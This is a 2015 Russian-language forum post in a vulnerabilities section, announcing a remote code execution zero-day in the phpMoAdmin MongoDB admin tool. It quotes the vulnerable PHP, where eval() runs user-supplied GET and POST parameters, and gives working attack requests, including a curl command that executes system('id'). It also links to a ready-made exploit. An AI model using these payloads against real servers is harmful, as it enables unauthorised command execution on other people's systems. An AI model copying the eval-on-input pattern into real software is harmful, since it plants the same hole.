MongoDB phpMoAdmin Zero-day

Discussion in 'Уязвимости' started by VY_CMa, 4 Mar 2015.

  1. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    RCE. Новость тут .
    Видео https://vimeo.com/121072742
    PHP:
    $find = array();
            if (isset(
    $_GET['find']) && $_GET['find']) {
                
    $_GET['find'] = trim($_GET['find']);
                if (
    strpos($_GET['find'], 'array') === 0) {
                    eval(
    '$find = ' $_GET['find'] . ';');
                } else if (
    is_string($_GET['find'])) {
                    if (
    $findArr json_decode($_GET['find'], true)) {
                        
    $find $findArr;
                    }
                }
            }
    PHP:
    http://localhost/moadmin.php?action=listRows&find=array(phpinfo())&collection=123
    UP: на секлисте запостили другой способ
    Code:
    curl "http://path.to/moadmin.php"; -d "object=1;system('id');exit"
    PHP:
    Filenamemoadmin.php
    1. create 
    new moadminComponent object
    1977
    $mo = new moadminComponent;

    2. if the http-post parameter 'object' is set
    738
    : class moadminComponent {
    ...
    762: public function __construct() {
    ...
    786: if (isset($_POST['object'])) {
    787:    if (self::$model->saveObject($_GET['collection'],
    $_POST['object'])) {
    ...

    3. evaluate the value of 'object' as PHP code
    692
    : public function saveObject($collection$obj) {
    693:    eval('$obj=' $obj ';'); //cast from string to array
    Готовый сплой: https://github.com/XiphosResearch/exploits/tree/master/phpMoAdmin
     
    _________________________
    #1 VY_CMa, 4 Mar 2015
    Last edited: 5 Mar 2015
    2 people like this.